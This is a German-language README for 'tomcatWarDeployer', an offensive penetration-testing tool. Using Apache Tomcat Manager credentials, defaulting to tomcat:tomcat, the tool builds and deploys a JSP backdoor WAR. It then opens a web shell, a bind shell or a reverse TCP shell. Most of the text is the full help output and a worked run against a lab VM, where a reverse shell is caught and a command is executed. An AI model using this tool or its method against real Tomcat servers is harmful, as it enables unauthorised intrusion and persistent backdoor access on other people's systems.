
Apache Tomcat automatische WAR-Bereitstellung & Pwning Penetrationstest-Werkzeug.
Apache Tomcat automatische WAR-Bereitstellung & pwning Penetrationstest-Werkzeug.
Dies ist ein Penetrationstest-Werkzeug, das dazu dient, Apache-Tomcat-Anmeldedaten auszunutzen, um automatisch ein JSP-Backdoor zu generieren und bereitzustellen, es anschließend aufzurufen und eine komfortable Shell bereitzustellen (entweder über eine Web-GUI, einen auf dem entfernten Rechner gebundenen Listener oder ein Reverse-TCP-Payload, das sich mit dem Angreifer verbindet).
In der Praxis generiert es ein JSP-Backdoor-WAR-Paket im laufenden Betrieb und stellt es über die Apache-Tomcat-Manager-Anwendung bereit, wobei gültige HTTP-Authentifizierungsdaten verwendet werden, die der Pentester bereitgestellt hat (oder benutzerdefinierte, denn am Ende lieben wir alle tomcat:tomcat).
Das Tool bietet einige praktische Funktionen – wie die Manager-Panel-Suchlogik, Unterstützung für das Double-Encoding-Problem CVE-2007-1860, CSRF-Handling bei neueren Tomcat-Versionen.
So einfach wie die Angabe der Serveradresse mit Port als IP:PORT-Paar.
Hier die Hilfe:
user$ python tomcatWarDeployer.py --help
tomcatWarDeployer (v. 0.5)
Apache Tomcat auto WAR deployment & launching tool
Mariusz Banach / MGeeky '16
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
Usage: tomcatWarDeployer.py [options] server
server Specifies server address. Please also include port after colon.
Options:
-h, --help show this help message and exit
General options:
-v, --verbose Verbose mode.
-s, --simulate Simulate breach only, do not perform any offensive
actions.
-G OUTFILE, --generate=OUTFILE
Generate JSP backdoor only and put it into specified
outfile path then exit. Do not perform any
connections, scannings, deployment and so on.
-U USER, --user=USER
Tomcat Manager Web Application HTTP Auth username.
Default="tomcat"
-P PASS, --pass=PASS
Tomcat Manager Web Application HTTP Auth password.
Default="tomcat"
Connection options:
-H RHOST, --host=RHOST
Remote host for reverse tcp payload connection. When
specified, RPORT must be specified too. Otherwise,
bind tcp payload will be deployed listening on 0.0.0.0
-p PORT, --port=PORT
Remote port for the reverse tcp payload when used with
RHOST or Local port if no RHOST specified thus acting
as a Bind shell endpoint.
-u URL, --url=URL Apache Tomcat management console URL. Default:
/manager/
-t TIMEOUT, --timeout=TIMEOUT
Speciifed timeout parameter for socket object and
other timing holdups. Default: 10
Payload options:
-R APPNAME, --remove=APPNAME
Remove deployed app with specified name. Can be used
for post-assessment cleaning
-X PASSWORD, --shellpass=PASSWORD
Specifies authentication password for uploaded shell,
to prevent unauthenticated usage. Default: randomly
generated. Specify "None" to leave the shell
unauthenticated.
-T TITLE, --title=TITLE
Specifies head>title for uploaded JSP WAR payload.
Default: "JSP Application"
-n APPNAME, --name=APPNAME
Specifies JSP application name. Default: "jsp_app"
-x, --unload Unload existing JSP Application with the same name.
Default: no.
-C, --noconnect Do not connect to the spawned shell immediately. By
default this program will connect to the spawned
shell, specifying this option let's you use other
handlers like Metasploit, NetCat and so on.
-f WARFILE, --file=WARFILE
Custom WAR file to deploy. By default the script will
generate own WAR file on-the-fly.
Und eine Beispielnutzung auf Kevgir 1 VM von canyoupwn.me unter 192.168.56.100:8080 :
user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080
tomcatWarDeployer (v. 0.3)
Apache Tomcat 6/7 auto WAR deployment & launching tool
Mariusz Banach / MGeeky '16
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
INFO: Reverse shell will connect to: 192.168.56.102:4449.
DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcat
DEBUG: Apache Tomcat Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code...
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpDhzo9I"
DEBUG: Working with Java at version: 1.8.0_60
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/jsp_app.war"
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)
adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)
DEBUG: WAR file structure:
DEBUG: /tmp/tmpDhzo9I
├── files
│ ├── META-INF
│ │ └── MANIFEST.MF
│ └── WEB-INF
│ └── web.xml
└── index.jsp
3 directories, 3 files
WARNING: Application with name: "jsp_app" is already deployed.
DEBUG: Unloading existing one...
DEBUG: Unloading application: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Succeeded.
DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpDhzo9I"
DEBUG: Succeeded, invoking it...
DEBUG: Spawned shell handling thread. Awaiting for the event...
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449
DEBUG: Socket is binded to local port now, awaiting for clients...
DEBUG: Invoking application at url: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Adding 'X-Pass: oHI9mPB0mOnZ' header for shell functionality authentication.
DEBUG: Incoming client: 192.168.56.100:54251
INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/
INFO: Happy pwning. Here take that password for web shell: 'oHI9mPB0mOnZ'
DEBUG: Connected with the shell: tomcat7@canyoupwnme
jh
tomcat7@canyoupwnme $ id
uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)
tomcat7@canyoupwnme $ exit
Das Programm richtet einen lokalen Listener für die Reverse-Shell-Verbindung auf dem Host 192.168.56.102:4449 (lokaler Host) ein, wie im obigen Beispiel. Nach dem Aufruf des JSP-Backdoors verbindet es sich automatisch mit dem lokalen Listener, sodass eine Shell angezeigt wird. Man kann auch den Parameter -H weglassen, um die Bind-Shell-Funktionalität zu nutzen. In diesem Fall richtet das Programm keinen lokalen Listener ein, sondern verbindet sich mit einem entfernten Bind-Shell-Listener.
i
Abschließend führt der obige Aufruf zu folgender JSP-Anwendung, die über das WEB remote zugänglich ist:

Wie man sieht, ist ein Passwort erforderlich, um das bereitgestellte Backdoor zu nutzen, um so unbefugten Zugriff während der durchgeführten Bewertung zu verhindern.
Zusammenfassend hat der Benutzer eine WEB-Anwendung erstellt, die ein WEB-Backdoor bereitstellt, authentifiziert über den POST-Parameter 'password', der vom Benutzer angegeben oder vom Programm zufällig generiert werden kann. Die Anwendung stellt dann nach Erhalt des X-Pass-Headers in der Aufrufphase eine Reverse-Verbindung zu unserem netcat-Handler her. Der HTTP-Header wird hier angefordert, um zu verhindern, dass der Benutzer die WEB-GUI aktualisiert und weiterhin versucht, eine Bindung oder Reverse-Verbindung herzustellen. Außerdem wird so die Authentifizierung genutzt, um diesen Code zu erreichen.
Das war’s wohl.
Dieses und andere Projekte sind das Ergebnis schlafloser Nächte und viel harter Arbeit. Wenn Ihnen gefällt, was ich tue, und Sie es schätzen, dass ich immer etwas an die Community zurückgebe, kaufen Sie mir einen Kaffee (oder besser ein Bier) nur um Danke zu sagen! 💪
Mariusz Banach / mgeeky, 21
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)